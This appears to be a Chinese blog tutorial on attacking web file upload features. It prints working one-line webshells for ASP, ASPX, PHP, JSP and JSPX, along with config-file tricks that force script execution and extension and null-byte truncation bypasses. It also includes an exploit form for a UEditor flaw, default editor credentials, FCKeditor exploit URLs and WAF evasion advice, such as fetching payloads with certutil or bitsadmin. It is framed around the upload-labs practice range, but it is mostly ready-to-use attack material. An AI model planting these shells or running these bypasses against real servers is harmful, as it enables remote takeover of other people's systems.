jsp文件上传_文件上传

2a01fa0d3639f64480ca828331b42fa8.png

一、文件上传的目的——脚本文件

文件上传的一共可造成三种危害,从低到高分别是,任意内容文件,html文件,脚本文件。

任意内容文件

任意内容文件指的是虽然文件后缀不可控,但是文件内容可控,比如我可以上传一个内容为<?php phpinfo();?>的jpg文件。这种是未校验文件头和文件内容导致的,往往不被视为漏洞,使用它们通常需要其他漏洞结合利用,比如php cgi解析漏洞,文件包含漏洞,结合任意目录上传覆盖正常文件。

html文件

即允许上传一个html格式的文件(包括htm等),等同于存储XSS,但由于实际利用过程中必须得钓鱼,所以其危害等同于反射XSS,同时也曾有人拿这种漏洞做黑帽SEO。

由于富文本编辑的未授权上传的特殊性,结合html的特殊性,kindeditor就曾爆出这样的漏洞。

百度搜inurl:kindeditor/attached/file/

除了html文件之外,xml文件能起到同样的效果,xml xss的语句如下。

<?xml version="1.0"?>

或者

<?xml version="1.0"?>

以及svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>

但由于这种漏洞危害还是过小,所以并不受重视,Kindeditor默认支持html上传,ueditor默认支持xml上传。

脚本文件

脚本文件指可执行动态脚本,就是webshell,也是文件上传漏洞的重点,一旦出现,即使语言环境对危害函数严防死守,也会造成严重危害。

首先我们要知道有哪些脚本文件,常见的4大类,asp,aspx,php,jsp。

asp

IIS6.0默认支持,同时更高版本也通常为了兼容而支持。

IIS6.0默认还支持cer,cdx,asa三种格式以asp解析,IIS7.0及以上的版本只支持cer。

asp一句话木马和hello world

<%eval request("a")%>
<%Response.Write("hello world")%>

aspx

IIS7.0及以上默认支持,aspx没有其他格式,但有可以起到一样效果的ashx和asmx。

aspx一句话和hello world

<%@ Page Language="Jscript"%><%eval(Request.Item["a"],"unsafe");%>
<%Response.Write("hello world")%>

ashx,asmx,soap

https://github.com/luoke90hou/files/blob/main/customize.ashx

https://github.com/luoke90hou/files/blob/main/customize.asmx

https://github.com/luoke90hou/files/blob/main/Customize.soap

web.config

类似apache的.htaccess也可以让当前目录的任意后缀文件解析为asp/aspx,以下为参考。

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers>
            <add name="qqq" path="*.qqq" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" />
        </handlers>
    </system.webServer>
</configuration>

stm,shtm,shtml

不能作为木马,但可以读取web.config内容和一些信息。

<!--#ECHO var="ALL_HTTP"-->
<!--#ECHO var="DOCUMENT_NAME"-->
<!--#ECHO var="SERVER_SOFTWARE"-->
<!--#ECHO var="SERVER_NAME"-->
<!--#ECHO var="SERVER_PORT"-->
<!--#ECHO var="REMOTE_ADDR"-->
<!--#ECHO var="REMOTE_HOST"-->
<!--#ECHO var="PATH_TRANSLATED"-->
<!--#ECHO var="PATH_INFO"-->
<!--#ECHO var="HTTP_ACCEPT"-->
<!--#ECHO var="DOCUMENT_URI"-->
<!--#include file="./web.config"-->

另外,Global.asax,aspx.cs,svc,dll文件均可以在IIS中当webshell,但都需要编译,无法直接通过文件上传getshell,通常作为后门维持。

如果IIS部署了MVC3,还支持cshtml

https://github.com/luoke90hou/files/blob/main/customize.cshtml

PHP

IIS,apache,nginx均可能支持。其中apache可能默认支持从左向右识别后缀,即1.php.rar.bak,同时可能有php格式支持正则如下。

535f89a9ec3c5252337187810e3fe9d3.png

也有的版本是<FileMatch ".+.ph(p[3457]?|t|tml).">

也就是说php3,php4,php5,php7,pht,phtml,phar均有可能解析成php

除此之外,如下内容的.htaccess可支持同目录下任意格式解析成php,

AddType application/x-httpd-php .abc

.user.ini的效果和.htaccess差不多,但是必须要求同目录下有一个php文件。

auto_prepend_file=a.jpg

.htaccess只支持apache,.user.ini支持所有cgi模式启动的php

php一句话和phpinfo如下

<?php @eval($_POST['a']) ?>
<?php phpinfo();?>

jsp

tomcat,jboss,WebSphere,weblogic等java web容器均支持jsp

jsp shell和hello world如下

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
<%out.println("Hello world");%>

jspx是jsp的xml表达,shell如下

<jsp:root xmlns:jsp="Oracle Java Technologies | Oracle"  version="1.2"> 
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> 
<jsp:scriptlet> 
Runtime.getRuntime().exec(request.getParameter("i")); 
</jsp:scriptlet> 
</jsp:root>

war格式为jsp文件打包,通常用来快速部署网站用的,tomcat,jboss,weblogic,websphere后台均可通过部署war包来getshell。

jspf,jspa,jhtml均为额外配置脚本文件,默认无此支持

除了上述常见脚本文件之外,python网站使用py脚本,perl网站使用pl脚本和cgi脚本,ColdFusion网站使用cfm脚本,Servlet网站使用java脚本。这些均有对应的webshell。

一、文件上传可以控制的参数

靶场:https://github.com/c0ny1/upload-labs

1,前端验证,MIME验证


基本无用,抓包改包即可突破

304cf254078dc4aac32027a3f9bcf637.png

1644dd7afeb95c88666e91738b13518b.png

2,目录或者文件名

496b0ef7f8c810f926d8d66829357673.png

现在绝大部分文件上传后都是用时间戳或者随机hash重命名,一般也不让控制目录。

如果允许完全控制文件名,或者目录,则可以尝试上传../../../testtest.php文件穿越目录。具体利用方法结合实际情况,比如绕过当前目录不解析,增加任务计划,web配置,权限足够甚至可以直接覆盖掉passwd。即使权限不够,也能尝试用恶意doc,xls,exe覆盖掉正常的文件。

如果不完全控制,也就是上传test.php.png会拼接成202004017141111111test.php.png,也可以尝试用特殊字符截断成202004017141111111test.php%00.png。不单单可以在文件名上截断,同样可以在目录上截断。

如果目录,文件名均不可控,后缀使用黑名单控制,可以参考第一章,用冷门后缀绕过。Windows服务器上还有一些其他办法。

大小写 【PhP】

自动省略最后的.和空格 【php.】【php 】

NTFS文件流【php::$DATA】Pass-08

最安全的做法就是目录,文件名均不可控,再加白名单校验后缀。此时只能尝试特殊字符截断,linux中只有00可以截断,windows中?:<>/|等不支持的字符均有可能产生截断效果。

3,文件内容控制

d2675d3cfd6ea2de44e2c44b2d260a15.png

有时候服务器会对文件的真实性进行校验,比如检查图片文件的真实性,检查xlsx文件是否可以解析,我们就需要控制文件内容。文件内容可控点分为两部分,一是文件头,即16进制下的前几个字符,最常用的是gif文件头,GIF89au,gif文件头由于全是英文数字,比png和jpg适用性都广。

c84429ddcdc0a591cd3feec28ef492a1.png

二是整个文件内容,比如对图片尺寸进行校验甚至二次渲染,单单加入文件头是无法上传的,此时必须以图片马的方式上传。

copy 1.png/b+1.php 2.png

4,绕过GD库

GD库是php的图片渲染插件,方便于把图片统一尺寸。即使是符合尺寸的图片也会被二次渲染。

这种情况下需要对比图片渲染前后未被修改的部分,在此插入payload。

绕过GD库有如下原则,图片尺寸越大越好,插入的payload越短越好,gif最容易成功,png次之,jpg最难成功。

Pass-16靶场,已成功的一个jpg

https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg

参考https://xz.aliyun.com/t/2657

5,条件竞争

如果文件上传时分两步,先生成文件再校验,不合规再删除,则可以利用时间差来访问还未删除的脚本文件。也可以利用报错使删除逻辑不再执行。

条件竞争的隐藏条件就是文件路径可预测,也就是目录和文件名要固定,或者一定程度可猜解。

参考Pass-17,可以用bp大量发包上传,也可以bp大量发包访问webshell的地址,此时一般用访问即生成一个webshell的小马。

三、编辑器的漏洞

1,1.4.3 aspx ueditor

由于windows文件系统问号截断导致,可以利用远程下载功能,在恶意服务器上下载后缀为jpg的webshell。以下是exp

<form action="
http://luoke.cn/UEditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr:<input type="text" name="source[]" /></p >
0:50 2019/1/1
  <input type="submit" value="Submit" />
</form>

2,eWebEditor,asp

后台有默认密码admin/admin,admin/admin888,admin888/admin888,数据库地址eWebEditor/db/ewebeditor.asa

后台可直接修改样式然后预览上传webshell。

367b6b1fe05081bcdeeb590dbb0507f1.png

同时还有文件遍历漏洞

0c405688b26cb2d5659fcc002654bebd.png

3,fckeditor,asp和php

均为低版本漏洞,asp需配合IIS6.0解析漏洞,上传1.asp;.png两次,第一次被重命名为1_asp;.png,第二次被重命名1.asp;(1).png

asp也可以新建1.asp的文件夹

/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2F1.asp&NewFolderName=z

php则需要配合php5.2 %00截断漏洞,在目录处截断

/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=1.php%00.gif

四、 绕过waf拦截

文件上传绕waf,可以增加干扰让waf识别不出文件上传

0a102d345b021b91859d084a3dc237b8.png

如上图,boundary前后可以加空格。

Content-Disposition filename可以随意大小写

form-data可以替换成任意值

"3.php"双引号可以去掉

3.php可以换行,后面可以加%00字符

绕过waf对于文件内容的检测,可以先上传本地包含的木马,再上传加密的shellcode,或者远程包含,或者免杀+图片马的思路,也可以先上传一个写文件的木马,然后一个字符一个字符写出新的木马。

有的waf禁止上传exe或者二进制文件,可以利用系统自带的远程下载工具下载而非web层面上的上传,比如wget,curl,powershell,certutil,bitsadmin,vbs。

还有的waf会对文件大小进行检测,可以上传多个小文件,利用winrar,copy命令合并。

觉得还不错的可以关注一下公众号——珂技知识分享,有些渗透实例会发布在上面。

fcc39ee064f2e1407294a15fe110895a.png
公众号
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值